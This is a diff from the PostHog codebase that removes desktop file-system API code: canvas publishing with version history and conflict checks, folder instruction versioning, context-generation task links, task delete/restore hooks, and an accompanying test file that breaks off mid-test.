"""Give every desktop folder along the created path a blank instruction set. - - Covers the created folder itself plus any parent folders auto-created by the serializer, - so a "channel" always has instructions from the moment it exists. - """ - segments = split_path(instance.path) - candidate_paths = [join_path(segments[:depth_index]) for depth_index in range(1, len(segments))] - if instance.type == "folder": - candidate_paths.append(instance.path) - if not candidate_paths: - return - - folders = self._scope_by_project(FileSystem.objects.filter(path__in=candidate_paths, type="folder")) - user = self.request.user if isinstance(self.request.user, User) else None - for folder in folders: - ensure_blank_folder_instructions(folder, user=user) - - def _get_folder_or_400(self) -> FileSystem | Response: - instance = self.get_object() - if instance.type != "folder": - return Response( - {"detail": "Instructions can only be attached to folders."}, - status=status.HTTP_400_BAD_REQUEST, - ) - return instance - - def _get_dashboard_or_400(self) -> FileSystem | Response: - instance = self.get_object() - if instance.type != "dashboard": - return Response( - {"detail": "Canvas code can only be published to dashboards."}, - status=status.HTTP_400_BAD_REQUEST, - ) - return instance - - @extend_schema( - operation_id="desktop_file_system_canvas_partial_update", - request=CanvasPublishSerializer, - responses={ - 200: FileSystemSerializer, - 409: OpenApiResponse( - response=CanvasPublishConflictSerializer, - description="The canvas moved past expected_current_version_id (a concurrent publish or an undo).", - ), - }, - ) - @action(methods=["PATCH"], detail=True, url_path="canvas") - def publish_canvas(self, request: Request, *args: Any, **kwargs: Any) -> Response: - """Publish a new version of a freeform canvas's React source. - - Merges into the dashboard row's `meta` (never replaces it), so existing - keys like `channelId`/`templateId` survive. Appends a full-file version - snapshot and points `currentVersionId` at it — the server-side mirror of - the app's dashboardsService.saveFreeform, including the linear-discard of - any redo tail left behind by an undo. When the publisher passes - `expected_current_version_id`, a publish based on a stale version is - rejected with 409 `version_conflict` instead of overwriting the newer head. - """ - dashboard = self._get_dashboard_or_400() - if isinstance(dashboard, Response): - return dashboard - - payload = CanvasPublishSerializer(data=request.data) - payload.is_valid(raise_exception=True) - code = payload.validated_data["code"] - prompt = payload.validated_data.get("prompt") - name = payload.validated_data.get("name") - has_expected_version = "expected_current_version_id" in payload.validated_data - expected_version_id = payload.validated_data.get("expected_current_version_id") - - now_ms = int(time.time() * 1000) - version: dict[str, Any] = {"id": str(uuid4()), "code": code, "createdAt": now_ms} - if prompt: - version["prompt"] = prompt - - # Lock the row for the read-modify-write so concurrent publishes can't clobber - # each other's appended version (each would otherwise build `versions` from the - # same stale snapshot and the second write would drop the first). - with transaction.atomic(): - dashboard = FileSystem.objects.select_for_update().get(pk=dashboard.pk) - meta = dict(dashboard.meta or {}) - current_version_id = meta.get("currentVersionId") - - if has_expected_version and current_version_id != expected_version_id: - return Response( - { - "detail": "The canvas changed since it was read (a concurrent publish or an undo). " - "Re-fetch the canvas, re-apply the edits to the fresh source, and publish again.", - "code": "version_conflict", - "current_version_id": current_version_id, - }, - status=status.HTTP_409_CONFLICT, - ) - - # Snapshot the live author context onto the version (reverting restores it). - existing_context = meta.get("context") - if isinstance(existing_context, str): - version["context"] = existing_context - versions = list(meta.get("versions") or []) - first_publish = not versions and not meta.get("code") - # Linear-discard: a publish always becomes the new head, so a redo tail past - # the live pointer (left by an undo) is dropped rather than kept as - # unreachable history — mirroring the client's undo/redo semantics. - if current_version_id: - pointer = next( - ( - index - for index, existing in enumerate(versions) - if isinstance(existing, dict) and existing.get("id") == current_version_id - ), - None, - ) - if pointer is not None: - versions = versions[: pointer + 1] - versions.append(version) - - meta.update( - { - "kind": "freeform", - "code": code, - "versions": versions, - "currentVersionId": version["id"], - "updatedAt": now_ms, - } - ) - dashboard.meta = meta - - update_fields = ["meta"] - if name: - # The canvas's display name is the leaf segment of its path; rename in place. - segments = split_path(dashboard.path) - segments[-1] = name - dashboard.path = join_path(segments) - dashboard.depth = len(segments) - update_fields += ["path", "depth"] - - dashboard.save(update_fields=update_fields) - - if first_publish: - self._announce_canvas_created(request, dashboard) - - return Response(self.get_serializer(dashboard).data) - - def _announce_canvas_created(self, request: Request, dashboard: FileSystem) -> None: - """Announce a canvas's first publish in the generating task's thread. - - The task sandbox stamps every MCP call with an X-PostHog-Task-Id header, so - a publish is attributable to the task that made it. The header alone is - forgeable, so two checks bind the announcement to a real sandbox run: the - request must carry an OAuth token minted under a sandbox app (those tokens - are only created server-side), and the facade only accepts a task created - by the requesting user (the sandbox authenticates with the task creator's - credentials). No header (a human or app save) means no announcement. - """ - raw_task_id = (request.headers.get("X-PostHog-Task-Id") or "").strip() - try: - task_id = UUID(raw_task_id) - except ValueError: - return - if not self._is_sandbox_authenticated(request): - return - user = request.user if isinstance(request.user, User) else None - segments = split_path(dashboard.path) - tasks_facade.post_canvas_created_thread_update( - task_id, - self.team_id, - acting_user_id=user.id if user else None, - canvas_name=segments[-1] if segments else "Canvas", - canvas_url=self._canvas_share_url(dashboard), - ) - - @staticmethod - def _is_sandbox_authenticated(request: Request) -> bool: - """True when the request bears an OAuth token minted under a sandbox app — - the credential a task sandbox (via the MCP server) calls this API with.""" - authenticator = request.successful_authenticator - if not isinstance(authenticator, OAuthAccessTokenAuthentication): - return False - application = authenticator.access_token.application - return application is not None and application.client_id in SANDBOX_OAUTH_APP_CLIENT_IDS - - def _canvas_share_url(self, dashboard: FileSystem) -> str | None: - """The web interstitial link that deep-links into the desktop app's canvas view: - `/code/canvas//`. The channel id is stamped on - the row's meta by the desktop app at create time; fall back to the parent folder - row for rows that predate the stamp. - """ - channel_id = (dashboard.meta or {}).get("channelId") - if not channel_id: - parent_path = join_path(split_path(dashboard.path)[:-1]) - folder = ( - FileSystem.objects.filter( - surface_q(self.file_system_surface), - team_id=dashboard.team_id, - type="folder", - path=parent_path, - ).first() - if parent_path - else None - ) - channel_id = str(folder.id) if folder else None - if not channel_id: - return None - return f"{settings.SITE_URL}/code/canvas/{channel_id}/{dashboard.id}" - - @extend_schema(responses={200: FolderInstructionsSerializer}) - @action(methods=["GET"], detail=True) - def instructions(self, request: Request, *args: Any, **kwargs: Any) -> Response: - """Return the latest non-deleted instructions for this folder.""" - folder = self._get_folder_or_400() - if isinstance(folder, Response): - return folder - - latest = get_latest_folder_instructions(folder) - if latest is None: - return Response({"detail": "This folder has no instructions."}, status=status.HTTP_404_NOT_FOUND) - - return Response(FolderInstructionsSerializer(latest).data) - - @extend_schema(request=FolderInstructionsPublishSerializer, responses={200: FolderInstructionsSerializer}) - @instructions.mapping.put - @instructions.mapping.patch - def publish_instructions(self, request: Request, *args: Any, **kwargs: Any) -> Response: - """Publish a new version of the folder's instructions.""" - folder = self._get_folder_or_400() - if isinstance(folder, Response): - return folder - - payload = FolderInstructionsPublishSerializer(data=request.data) - payload.is_valid(raise_exception=True) - - try: - published = publish_folder_instructions( - folder, - content=payload.validated_data["content"], - user=cast(User, request.user), - base_version=payload.validated_data.get("base_version"), - ) - except FolderInstructionsVersionConflictError as err: - return Response( - { - "detail": "The instructions changed since you opened them. Reload the latest version and try again.", - "current_version": err.current_version, - }, - status=status.HTTP_409_CONFLICT, - ) - except FolderInstructionsVersionLimitError as err: - return Response( - {"detail": f"This folder has reached the maximum of {err.max_version} instruction versions."}, - status=status.HTTP_400_BAD_REQUEST, - ) - - return Response(FolderInstructionsSerializer(published).data) - - @extend_schema(request=None, responses={204: None}) - @instructions.mapping.delete - def delete_instructions(self, request: Request, *args: Any, **kwargs: Any) -> Response: - """Soft-delete every version of this folder's instructions.""" - folder = self._get_folder_or_400() - if isinstance(folder, Response): - return folder - - deleted_count = delete_folder_instructions(folder) - if deleted_count == 0: - return Response({"detail": "This folder has no instructions."}, status=status.HTTP_404_NOT_FOUND) - - return Response(status=status.HTTP_204_NO_CONTENT) - - @extend_schema(responses={200: FolderInstructionsVersionSerializer(many=True)}) - @action(methods=["GET"], detail=True, url_path="instructions/versions") - def instructions_versions(self, request: Request, *args: Any, **kwargs: Any) -> Response: - """List the version history for this folder's instructions, newest first.""" - folder = self._get_folder_or_400() - if isinstance(folder, Response): - return folder - - versions = get_folder_instructions_versions(folder) - page = self.paginate_queryset(versions) - if page is not None: - return self.get_paginated_response(FolderInstructionsVersionSerializer(page, many=True).data) - return Response(FolderInstructionsVersionSerializer(versions, many=True).data) - - @extend_schema(responses={200: ContextGenerationSerializer}) - @action(methods=["GET"], detail=True, url_path="context_generation") - def context_generation(self, request: Request, *args: Any, **kwargs: Any) -> Response: - """Return the Task currently generating this folder's CONTEXT.md, or null if none.""" - folder = self._get_folder_or_400() - if isinstance(folder, Response): - return folder - - return Response(ContextGenerationSerializer({"task_id": get_context_generation_task_id(folder)}).data) - - @extend_schema(request=ContextGenerationSetSerializer, responses={200: ContextGenerationSerializer}) - @context_generation.mapping.put - def set_context_generation(self, request: Request, *args: Any, **kwargs: Any) -> Response: - """Set or clear the Task associated with this folder's CONTEXT.md generation.""" - folder = self._get_folder_or_400() - if isinstance(folder, Response): - return folder - - payload = ContextGenerationSetSerializer(data=request.data, context={"folder_team": folder.team}) - payload.is_valid(raise_exception=True) - task_id = payload.validated_data["task_id"] - set_context_generation_task_id(folder, task_id=task_id) - - return Response(ContextGenerationSerializer({"task_id": task_id}).data) diff --git a/posthog/api/file_system/file_system_shortcut.py b/posthog/api/file_system/file_system_shortcut.py index 6644bd37d770..d57aaeb8aefc 100644 --- a/posthog/api/file_system/file_system_shortcut.py +++ b/posthog/api/file_system/file_system_shortcut.py @@ -147,14 +147,3 @@ def reorder(self, request: Request, *args: Any, **kwargs: Any) -> Response: refreshed = self.filter_queryset(self.get_queryset()) return Response(self.get_serializer(refreshed, many=True).data) - - -@extend_schema(extensions={"x-product": "core"}) -class DesktopFileSystemShortcutViewSet(FileSystemShortcutViewSet): - """ - Sidebar shortcuts for the desktop product surface. Reuses all FileSystemShortcutViewSet - behaviour but is scoped to the "desktop" surface, so its shortcuts are fully isolated from - the default "web" surface. - """ - - file_system_surface = "desktop" diff --git a/posthog/api/file_system/folder_context_generation.py b/posthog/api/file_system/folder_context_generation.py deleted file mode 100644 index 3c7a1ec7cd23..000000000000 --- a/posthog/api/file_system/folder_context_generation.py +++ /dev/null @@ -1,30 +0,0 @@ -from uuid import UUID - -from rest_framework import serializers - -from products.tasks.backend.facade import api as tasks_facade - - -class ContextGenerationSerializer(serializers.Serializer): - task_id = serializers.UUIDField( - allow_null=True, - help_text="ID of the Task currently generating this folder's CONTEXT.md, or null if none.", - ) - - -class ContextGenerationSetSerializer(serializers.Serializer): - task_id = serializers.UUIDField( - allow_null=True, - help_text=( - "ID of the Task generating this folder's CONTEXT.md. Must reference a Task in the same " - "team. Set to null to clear the association." - ), - ) - - def validate_task_id(self, value: UUID | None) -> UUID | None: - if value is None: - return None - team = self.context["folder_team"] - if not tasks_facade.task_exists(value, team.id): - raise serializers.ValidationError("No task with this id exists in this team.", code="invalid") - return value diff --git a/posthog/api/file_system/folder_context_generation_service.py b/posthog/api/file_system/folder_context_generation_service.py deleted file mode 100644 index 7e1d69e034e8..000000000000 --- a/posthog/api/file_system/folder_context_generation_service.py +++ /dev/null @@ -1,26 +0,0 @@ -from uuid import UUID - -from posthog.models.file_system.file_system import FileSystem -from posthog.models.file_system.folder_context_generation import FileSystemFolderContextGeneration - - -def get_context_generation_task_id(folder: FileSystem) -> UUID | None: - """Task currently generating this folder's CONTEXT.md, or None if unset.""" - row = FileSystemFolderContextGeneration.objects.for_team(folder.team_id).filter(folder=folder).first() - return row.task_id if row is not None else None - - -def set_context_generation_task_id(folder: FileSystem, *, task_id: UUID | None) -> None: - """Set (or clear, when task_id is None) the folder's context-generation association. - - Overwrites any previous value. Idempotent per folder via the OneToOne relationship. - """ - FileSystemFolderContextGeneration.objects.for_team(folder.team_id).update_or_create( - folder=folder, - defaults={"team_id": folder.team_id, "task_id": task_id}, - ) - - -def clear_context_generation(folder: FileSystem) -> None: - """Clear the folder's context-generation association if a row exists; no-op otherwise.""" - FileSystemFolderContextGeneration.objects.for_team(folder.team_id).filter(folder=folder).update(task_id=None) diff --git a/posthog/api/file_system/folder_instructions.py b/posthog/api/file_system/folder_instructions.py deleted file mode 100644 index afbb55d86361..000000000000 --- a/posthog/api/file_system/folder_instructions.py +++ /dev/null @@ -1,81 +0,0 @@ -from rest_framework import serializers - -from posthog.api.file_system.folder_instructions_service import FOLDER_INSTRUCTIONS_MAX_BYTES -from posthog.api.shared import UserBasicSerializer -from posthog.models.file_system.folder_instructions import FileSystemFolderInstructions - - -def validate_folder_instructions_content(value: str) -> str: - if len(value.encode("utf-8")) > FOLDER_INSTRUCTIONS_MAX_BYTES: - raise serializers.ValidationError( - f"Folder instructions must be {FOLDER_INSTRUCTIONS_MAX_BYTES} bytes or fewer.", - code="max_size", - ) - return value - - -class FolderInstructionsSerializer(serializers.ModelSerializer): - created_by = UserBasicSerializer(read_only=True, help_text="User who published this version.") - - class Meta: - model = FileSystemFolderInstructions - fields = [ - "id", - "content", - "version", - "is_latest", - "created_by", - "created_at", - "updated_at", - ] - read_only_fields = fields - extra_kwargs = { - "id": {"help_text": "Unique identifier for this instructions version."}, - "content": {"help_text": "Markdown instructions describing the contents of the folder."}, - "version": {"help_text": "Monotonically increasing version number, starting at 1."}, - "is_latest": {"help_text": "Whether this is the current (latest) version for the folder."}, - "created_at": {"help_text": "When this version was published."}, - "updated_at": {"help_text": "When this version row was last modified."}, - } - - -class FolderInstructionsVersionSerializer(serializers.ModelSerializer): - """Version-history entry: metadata only, with the markdown content omitted.""" - - created_by = UserBasicSerializer(read_only=True, help_text="User who published this version.") - - class Meta: - model = FileSystemFolderInstructions - fields = [ - "id", - "version", - "is_latest", - "created_by", - "created_at", - ] - read_only_fields = fields - extra_kwargs = { - "id": {"help_text": "Unique identifier for this instructions version."}, - "version": {"help_text": "Monotonically increasing version number, starting at 1."}, - "is_latest": {"help_text": "Whether this is the current (latest) version for the folder."}, - "created_at": {"help_text": "When this version was published."}, - } - - -class FolderInstructionsPublishSerializer(serializers.Serializer): - content = serializers.CharField( - allow_blank=True, - help_text="Full markdown instructions to publish as a new version for the folder.", - ) - base_version = serializers.IntegerField( - min_value=0, - required=False, - help_text=( - "Latest version you are editing from, for optimistic concurrency. If provided and the " - "folder's instructions have changed since, the request fails with 409. Use 0 when no " - "instructions exist yet." - ), - ) - - def validate_content(self, value: str) -> str: - return validate_folder_instructions_content(value) diff --git a/posthog/api/file_system/folder_instructions_service.py b/posthog/api/file_system/folder_instructions_service.py deleted file mode 100644 index bdfd569a14e5..000000000000 --- a/posthog/api/file_system/folder_instructions_service.py +++ /dev/null @@ -1,131 +0,0 @@ -from dataclasses import dataclass - -from django.db import IntegrityError, transaction -from django.db.models import QuerySet - -from posthog.api.file_system.folder_context_generation_service import clear_context_generation -from posthog.models.file_system.file_system import FileSystem -from posthog.models.file_system.folder_instructions import FileSystemFolderInstructions -from posthog.models.user import User - -# Generous cap on the markdown blob; folder instructions are descriptions, not documents. -FOLDER_INSTRUCTIONS_MAX_BYTES = 100_000 -MAX_FOLDER_INSTRUCTIONS_VERSION = 2000 - - -class FolderInstructionsNotFoundError(Exception): - pass - - -@dataclass -class FolderInstructionsVersionConflictError(Exception): - current_version: int - - -@dataclass -class FolderInstructionsVersionLimitError(Exception): - max_version: int - - -def get_folder_instructions_versions(folder: FileSystem) -> QuerySet[FileSystemFolderInstructions]: - """All non-deleted versions for a folder, newest first.""" - return ( - FileSystemFolderInstructions.objects.filter(folder=folder, deleted=False) - .select_related("created_by") - .order_by("-version", "-created_at", "-id") - ) - - -def get_latest_folder_instructions(folder: FileSystem) -> FileSystemFolderInstructions | None: - return get_folder_instructions_versions(folder).filter(is_latest=True).first() - - -def publish_folder_instructions( - folder: FileSystem, - *, - content: str, - user: User, - base_version: int | None = None, -) -> FileSystemFolderInstructions: - """Create the first version, or publish a new version superseding the current latest. - - `base_version`, when provided, guards against lost updates: if the current latest version no - longer matches it, a `FolderInstructionsVersionConflictError` is raised. - """ - with transaction.atomic(): - current_latest = ( - FileSystemFolderInstructions.objects.select_for_update() - .filter(folder=folder, deleted=False, is_latest=True) - .order_by("-version", "-created_at", "-id") - .first() - ) - - if current_latest is None: - if base_version is not None and base_version != 0: - raise FolderInstructionsVersionConflictError(current_version=0) - published = FileSystemFolderInstructions.objects.create( - team=folder.team, - folder=folder, - content=content, - version=1, - is_latest=True, - created_by=user, - ) - else: - if base_version is not None and base_version != current_latest.version: - raise FolderInstructionsVersionConflictError(current_version=current_latest.version) - if current_latest.version >= MAX_FOLDER_INSTRUCTIONS_VERSION: - raise FolderInstructionsVersionLimitError(max_version=MAX_FOLDER_INSTRUCTIONS_VERSION) - - FileSystemFolderInstructions.objects.filter(pk=current_latest.pk).update(is_latest=False) - published = FileSystemFolderInstructions.objects.create( - team=folder.team, - folder=folder, - content=content, - version=current_latest.version + 1, - is_latest=True, - created_by=user, - ) - - # Publishing produced a result, so drop the in-progress generation marker for this folder. - clear_context_generation(folder) - return published - - -def ensure_blank_folder_instructions( - folder: FileSystem, - *, - user: User | None, -) -> FileSystemFolderInstructions | None: - """Create a blank version-1 instructions row for a folder if it has none. - - Idempotent: returns None when instructions already exist (so every folder ends up with an - instruction set, even an empty one, without ever clobbering existing content). - """ - if FileSystemFolderInstructions.objects.filter(folder=folder, deleted=False).exists(): - return None - try: - return FileSystemFolderInstructions.objects.create( - team=folder.team, - folder=folder, - content="", - version=1, - is_latest=True, - created_by=user, - ) - except IntegrityError: - # A concurrent create won the race; the folder now has instructions. - return None - - -def delete_folder_instructions(folder: FileSystem) -> int: - """Soft-delete every version for a folder. Returns the number of versions affected.""" - with transaction.atomic(): - count = ( - FileSystemFolderInstructions.objects.select_for_update() - .filter(folder=folder, deleted=False) - .update(deleted=True, is_latest=False) - ) - # No instructions remain, so the folder can't have a generation in progress. - clear_context_generation(folder) - return count diff --git a/posthog/api/file_system/registrations.py b/posthog/api/file_system/registrations.py index a62bf9356bb2..d43e17c29056 100644 --- a/posthog/api/file_system/registrations.py +++ b/posthog/api/file_system/registrations.py @@ -2,8 +2,6 @@ from typing import Any -from rest_framework.exceptions import PermissionDenied - from posthog.api.file_system.deletion import ( HOG_FUNCTION_TYPES, DeletionContext, @@ -19,7 +17,6 @@ from posthog.models.user import User from products.cdp.backend.models.hog_functions.utils import humanize_hog_function_type -from products.tasks.backend.facade import api as tasks_facade def _first_non_blank(*values: str | None) -> str | None: @@ -286,44 +283,6 @@ def _action_post_restore(context: RestoreContext, action: Any) -> None: ) -def _ensure_task_controllable_by_user(task: Any, user: Any | None) -> None: - # Mirror the tasks control rules (task_control_q): tasks belong to their creator (plus - # team-wide signal-pipeline tasks and legacy unowned tasks); public-channel read visibility - # does not grant mutation. Without this, anyone with file system write access could delete - # or restore another user's filed task via the generic flow. - user_id = getattr(user, "id", None) - if not tasks_facade.is_task_controllable_by_user(task.id, user_id): - raise PermissionDenied("You do not have permission to modify this task.") - - -def _task_pre_delete(context: DeletionContext, task: Any) -> None: - _ensure_task_controllable_by_user(task, context.user) - - -def _task_pre_restore(context: RestoreContext, task: Any) -> None: - _ensure_task_controllable_by_user(task, context.user) - - -def _task_post_delete(context: DeletionContext, task: Any) -> None: - _log_deletion_activity( - context, - scope="Task", - item_id=task.id, - name=_first_non_blank(getattr(task, "title", None)) or "Untitled task", - object_type="task", - ) - - -def _task_post_restore(context: RestoreContext, task: Any) -> None: - _log_restore_activity( - context, - scope="Task", - item_id=task.id, - name=_first_non_blank(getattr(task, "title", None)) or "Untitled task", - object_type="task", - ) - - def _hog_function_pre_delete(context: DeletionContext, hog_function: Any) -> None: hog_function.enabled = False @@ -461,17 +420,6 @@ def register_core_file_system_types() -> None: register_post_delete_hook("cohort", _cohort_post_delete) register_post_restore_hook("cohort", _cohort_post_restore) - register_file_system_type( - "task", - "tasks", - "Task", - undo_message="Send PATCH /api/projects/@current/tasks/{id} with deleted=false.", - ) - register_pre_delete_hook("task", _task_pre_delete) - register_pre_restore_hook("task", _task_pre_restore) - register_post_delete_hook("task", _task_post_delete) - register_post_restore_hook("task", _task_post_restore) - for hog_type in HOG_FUNCTION_TYPES: type_string = f"hog_function/{hog_type}" register_file_system_type( diff --git a/posthog/api/file_system/test/test_canvas_publish.py b/posthog/api/file_system/test/test_canvas_publish.py deleted file mode 100644 index 678e1225c3f6..000000000000 --- a/posthog/api/file_system/test/test_canvas_publish.py +++ /dev/null @@ -1,338 +0,0 @@ -from typing import TYPE_CHECKING, cast - -from posthog.test.base import APIBaseTest -from unittest.mock import patch - -from django.apps import apps -from django.conf import settings - -from parameterized import parameterized -from rest_framework import status - -from posthog.models.file_system.file_system import FileSystem -from posthog.models.oauth import OAuthApplication -from posthog.models.user import User -from posthog.temporal.oauth import ( - ARRAY_APP_CLIENT_ID_DEV, - ARRAY_APP_CLIENT_ID_EU, - ARRAY_APP_CLIENT_ID_US, - create_oauth_access_token_for_user, -) - -if TYPE_CHECKING: - from products.tasks.backend.models import Task - - -class TestDesktopCanvasPublishAPI(APIBaseTest): - def setUp(self): - super().setUp() - # Staff gate mirrors the desktop/web file system beta gating. - self.user.is_staff = True - self.user.save() - - def _create_dashboard(self, path: str = "MyChannel/MyCanvas", meta: dict | None = None) -> str: - response = self.client.post( - f"/api/projects/{self.team.id}/desktop_file_system/", - {"path": path, "type": "dashboard", "meta": meta or {}}, - ) - self.assertEqual(response.status_code, status.HTTP_201_CREATED, response.json()) - return cast(str, response.json()["id"]) - - def _canvas_url(self, item_id: str) -> str: - return f"/api/projects/{self.team.id}/desktop_file_system/{item_id}/canvas/" - - def test_publish_canvas_sets_code_and_appends_version(self): - item_id = self._create_dashboard(meta={"channelId": "chan-1", "kind": "freeform"}) - - response = self.client.patch( - self._canvas_url(item_id), - {"code": "export default () =>
hi
", "prompt": "build a hello canvas"}, - ) - self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) - - row = FileSystem.objects.get(id=item_id) - meta = cast(dict, row.meta) - self.assertEqual(meta["code"], "export default () =>
hi
") - self.assertEqual(meta["kind"], "freeform") - # Pre-existing meta keys survive the merge. - self.assertEqual(meta["channelId"], "chan-1") - # One version appended, pointed at by currentVersionId, carrying the prompt. - self.assertEqual(len(meta["versions"]), 1) - version = meta["versions"][0] - self.assertEqual(version["code"], "export default () =>
hi
") - self.assertEqual(version["prompt"], "build a hello canvas") - self.assertEqual(meta["currentVersionId"], version["id"]) - - def test_publish_canvas_appends_to_existing_history(self): - item_id = self._create_dashboard() - self.client.patch(self._canvas_url(item_id), {"code": "v1"}) - self.client.patch(self._canvas_url(item_id), {"code": "v2"}) - - meta = cast(dict, FileSystem.objects.get(id=item_id).meta) - self.assertEqual(meta["code"], "v2") - self.assertEqual([v["code"] for v in meta["versions"]], ["v1", "v2"]) - self.assertEqual(meta["currentVersionId"], meta["versions"][-1]["id"]) - - def _current_version_id(self, item_id: str) -> str: - return cast(str, cast(dict, FileSystem.objects.get(id=item_id).meta)["currentVersionId"]) - - def test_guarded_publish_with_matching_version_appends(self): - item_id = self._create_dashboard() - self.client.patch(self._canvas_url(item_id), {"code": "v1"}) - base = self._current_version_id(item_id) - - response = self.client.patch( - self._canvas_url(item_id), - {"code": "v2", "expected_current_version_id": base}, - ) - self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) - meta = cast(dict, FileSystem.objects.get(id=item_id).meta) - self.assertEqual([v["code"] for v in meta["versions"]], ["v1", "v2"]) - - def test_guarded_first_publish_with_null_expected_version(self): - item_id = self._create_dashboard() - - response = self.client.patch( - self._canvas_url(item_id), - {"code": "v1", "expected_current_version_id": None}, - ) - self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) - meta = cast(dict, FileSystem.objects.get(id=item_id).meta) - self.assertEqual([v["code"] for v in meta["versions"]], ["v1"]) - - @parameterized.expand( - [ - ("stale_version_id", "not-the-head"), - ("null_base_on_published_canvas", None), - ] - ) - def test_guarded_publish_conflicts_when_canvas_moved(self, _name: str, expected_version: str | None): - item_id = self._create_dashboard() - self.client.patch(self._canvas_url(item_id), {"code": "v1"}) - head = self._current_version_id(item_id) - - response = self.client.patch( - self._canvas_url(item_id), - {"code": "clobber", "expected_current_version_id": expected_version}, - ) - self.assertEqual(response.status_code, status.HTTP_409_CONFLICT, response.json()) - body = response.json() - self.assertEqual(body["code"], "version_conflict") - self.assertEqual(body["current_version_id"], head) - # The stale publish left the canvas untouched. - meta = cast(dict, FileSystem.objects.get(id=item_id).meta) - self.assertEqual(meta["code"], "v1") - self.assertEqual(meta["currentVersionId"], head) - self.assertEqual(len(meta["versions"]), 1) - - def test_publish_after_undo_truncates_redo_tail(self): - item_id = self._create_dashboard() - self.client.patch(self._canvas_url(item_id), {"code": "v1"}) - v1 = self._current_version_id(item_id) - self.client.patch(self._canvas_url(item_id), {"code": "v2"}) - - # The client's undo moves the pointer back without rewriting history. - row = FileSystem.objects.get(id=item_id) - meta = cast(dict, row.meta) - meta["currentVersionId"] = v1 - meta["code"] = "v1" - row.meta = meta - row.save(update_fields=["meta"]) - - response = self.client.patch( - self._canvas_url(item_id), - {"code": "v3", "expected_current_version_id": v1}, - ) - self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) - meta = cast(dict, FileSystem.objects.get(id=item_id).meta) - # The redo tail (v2) is discarded; history is linear again. - self.assertEqual([v["code"] for v in meta["versions"]], ["v1", "v3"]) - self.assertEqual(meta["currentVersionId"], meta["versions"][-1]["id"]) - - def test_publish_canvas_renames_via_name(self): - item_id = self._create_dashboard(path="MyChannel/Old name") - - response = self.client.patch( - self._canvas_url(item_id), - {"code": "v1", "name": "New name"}, - ) - self.assertEqual(response.status_code, status.HTTP_200_OK, response.json()) - - row = FileSystem.objects.get(id=item_id) - # Leaf segment renamed, parent folder preserved. - self.assertEqual(row.path, "MyChannel/New name") - self.assertEqual(cast(dict, row.meta)["code"], "v1") - - def test_publish_canvas_without_name_keeps_path(self): - item_id = self._create_dashboard(path="MyChannel/Keep me") - - self.client.patch(self._canvas_url(item_id), {"code": "v1"}) - - self.assertEqual(FileSystem.objects.get(id=item_id).path, "MyChannel/Keep me") - - def test_publish_canvas_rejects_non_dashboard(self): - response = self.client.post( - f"/api/projects/{self.team.id}/desktop_file_system/", - {"path": "AChannel", "type": "folder"}, - ) - folder_id = response.json()["id"] - - bad = self.client.patch(self._canvas_url(folder_id), {"code": "x"}) - self.assertEqual(bad.status_code, status.HTTP_400_BAD_REQUEST, bad.json()) - - def test_publish_canvas_requires_code(self): - item_id = self._create_dashboard() - - # `code` is required by the serializer; omitting it is a 400, not a silent no-op. - bad = self.client.patch(self._canvas_url(item_id), {"prompt": "only a prompt"}) - self.assertEqual(bad.status_code, status.HTTP_400_BAD_REQUEST, bad.json()) - self.assertIn("code", bad.json()) - - # Task models load via the app registry: this test lives outside the isolated - # tasks product, so it can't import its internals (tach-enforced). - def _create_task(self) -> "Task": - Task = apps.get_model("tasks", "Task") - return Task.objects.create( - team=self.team, - title="Generate canvas", - description="", - origin_product=Task.OriginProduct.USER_CREATED, - created_by=self.user, - ) - - def _thread_messages(self, task: "Task"): - TaskThreadMessage = apps.get_model("tasks", "TaskThreadMessage") - return TaskThreadMessage.objects.for_team(self.team.id).filter(task=task) - - def _authenticate_as_sandbox(self) -> None: - """Swap session auth for a sandbox-app OAuth token — announcements only fire for - requests bearing one. The app is created for every region client id because - `create_oauth_access_token_for_user` resolves it by `get_instance_region()`.""" - for client_id in (ARRAY_APP_CLIENT_ID_DEV, ARRAY_APP_CLIENT_ID_US, ARRAY_APP_CLIENT_ID_EU): - OAuthApplication.objects.get_or_create( - client_id=client_id, - defaults={ - "name": "Array Test App", - "client_type": OAuthApplication.CLIENT_PUBLIC, - "authorization_grant_type": OAuthApplication.GRANT_AUTHORIZATION_CODE, - "redirect_uris": "https://app.posthog.com/callback", - # RS256 is enforced by the `enforce_rs256_algorithm` DB constraint. - "algorithm": "RS256", - }, - ) - token = create_oauth_access_token_for_user(self.user, self.team.id, scopes="full") - self.client.logout() - self.client.credentials(HTTP_AUTHORIZATION=f"Bearer {token}") - - @patch("products.tasks.backend.facade.api.posthoganalytics.feature_enabled", return_value=True) - def test_first_publish_from_task_announces_in_thread_once(self, _flag): - task = self._create_task() - item_id = self._create_dashboard(meta={"channelId": "chan-1"}) - self._authenticate_as_sandbox() - - self.client.patch(self._canvas_url(item_id), {"code": "v1"}, HTTP_X_POSTHOG_TASK_ID=str(task.id)) - - messages = self._thread_messages(task) - self.assertEqual(messages.count(), 1) - message = messages.get() - self.assertIsNone(message.author_id) - self.assertEqual( - message.content, - f"[MyCanvas]({settings.SITE_URL}/code/canvas/chan-1/{item_id}) has been created", - ) - - # A second publish updates the canvas, it doesn't create it again. - self.client.patch(self._canvas_url(item_id), {"code": "v2"}, HTTP_X_POSTHOG_TASK_ID=str(task.id)) - self.assertEqual(messages.count(), 1) - - @patch("products.tasks.backend.facade.api.posthoganalytics.feature_enabled", return_value=True) - def test_announcement_links_via_parent_folder_when_meta_has_no_channel(self, _flag): - task = self._create_task() - item_id = self._create_dashboard() # no channelId stamp — rows created before the app stamped it - self._authenticate_as_sandbox() - - self.client.patch(self._canvas_url(item_id), {"code": "v1"}, HTTP_X_POSTHOG_TASK_ID=str(task.id)) - - folder = FileSystem.objects.get(team=self.team, path="MyChannel", type="folder") - message = self._thread_messages(task).get() - self.assertTrue(message.content.startswith(f"[MyCanvas]({settings.SITE_URL}/code/canvas/{folder.id}/")) - - @patch("products.tasks.backend.facade.api.posthoganalytics.feature_enabled", return_value=True) - def test_header_naming_someone_elses_task_stays_silent(self, _flag): - # The header selects the announcement's thread; it must not let a publisher - # plant agent messages in a task they didn't create. - other = User.objects.create_and_join(self.organization, "other@posthog.com", None) - Task = apps.get_model("tasks", "Task") - task = Task.objects.create( - team=self.team, - title="Someone else's task", - description="", - origin_product=Task.OriginProduct.USER_CREATED, - created_by=other, - ) - item_id = self._create_dashboard() - self._authenticate_as_sandbox() - - 